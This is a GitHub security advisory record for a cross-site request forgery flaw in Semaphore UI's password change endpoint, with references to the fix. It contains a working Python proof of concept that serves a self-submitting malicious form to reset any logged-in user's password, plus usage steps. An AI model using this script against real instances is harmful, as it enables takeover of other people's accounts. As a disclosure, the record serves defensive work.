{"id":"GHSA-8cj9-r88m-8945","summary":"Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation","details":"### Summary\n\nThe password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.\n\n### Details\n\nThe password change endpoint of Semaphore UI does not implement any CSRF protection:\n\n- No CSRF token required\n- No current password confirmation required\n- Authentication relies solely on a session cookie (`semaphore`) with no `SameSite` enforcement\n\nA malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/\u003cid\u003e/password forms. \n\n\n### PoC\n\nTo reproduce the exploit, you can use the following python script:\n\n```python\nimport logging\nimport argparse\nimport time\nimport sys\nimport os \nfrom http.server import SimpleHTTPRequestHandler, HTTPServer\n\nlogging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')\n\ndef forge_malicious_page(target, user_id, newpassword):\n    return f\"\"\"\n        \u003chtml\u003e\n        \u003cbody\u003e\n\n        \u003cform id=\"CSRF_POC\" action=\"{target}/api/users/{user_id}/password\" enctype=\"text/plain\" method=\"POST\"\u003e\n\n        \u003cinput type=\"hidden\" name='{{\"password\": \"{newpassword}\", \"project_id\": 1}}'  value='//}}' /\u003e\n        \u003c/form\u003e\n        \n        \u003cscript\u003e\n        document.getElementById(\"CSRF_POC\").submit();\n        \u003c/script\u003e\n\n        \u003c/body\u003e\n        \u003c/html\u003e\n    \"\"\";\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\",\"--user_id\",type=int, help=\"user id to change password\", required=True)\nparser.add_argument(\"-u\",\"--uri\",  help=\"Base uri to target\", required=True)\nparser.add_argument(\"-n\",\"--new_password\",  help=\"new password to set\", default='passwordchanged')\nparser.add_argument(\"-p\",\"--port\",  help=\"Port to run server\", default=1337)\nargs = parser.parse_args()\n\n\nclass Handler(SimpleHTTPRequestHandler):\n    \n     def do_GET(self):\n        logging.info(\"Client: %s | Methode: %s | Chemin: %s | Query: %s\" %\n                (self.client_address[0], self.command, self.path,\n                self.path.split('?')[1] if '?' in self.path else 'None'))\n        content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n        self.send_header(\"Content-Length\", str(len(content)))\n        self.end_headers()\n        self.wfile.write(content)\n\n\nhttpd = HTTPServer((\"\", args.port), Handler)\nlogging.info(\"[*] Serving at port \"+str(args.port))\n\nhttpd.serve_forever()\n```\n\nExample : \n```bash\npython poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337\n```\n\n1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337.\n2 - Connect to semaphore UI in another tab with the targeted user. \n3 - In the same browser, visit the malicious website (ex: localhost:1337).\n4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password `passwordchanged`.\n\n\n### Impact\n\nThis is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.","aliases":["CVE-2026-73292","GO-2026-6370"],"modified":"2026-09-10T15:25:43.249250779Z","published":"2026-09-03T19:23:15Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-09-03T19:23:15Z","nvd_published_at":"2026-08-12T16:17:22Z","cwe_ids":["CWE-352","CWE-620"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/semaphoreui/semaphore/security/advisories/GHSA-8cj9-r88m-8945"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73292"},{"type":"WEB","url":"https://github.com/semaphoreui/semaphore/commit/2d6e2e3eb10e8bf688e2ab59609b909a012fad4c"},{"type":"WEB","url":"https://github.com/semaphoreui/semaphore/commit/c59c3dc9035badcbf0609c7d35679c06e590a956"},{"type":"PACKAGE","url":"https://github.com/semaphoreui/semaphore"},{"type":"WEB","url":"https://github.com/semaphoreui/semaphore/releases/tag/v2.18.21"}],"affected":[{"package":{"name":"github.com/semaphoreui/semaphore","ecosystem":"Go","purl":"pkg:golang/github.com/semaphoreui/semaphore"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260707190631-c59c3dc9035b"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-8cj9-r88m-8945/GHSA-8cj9-r88m-8945.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"}]}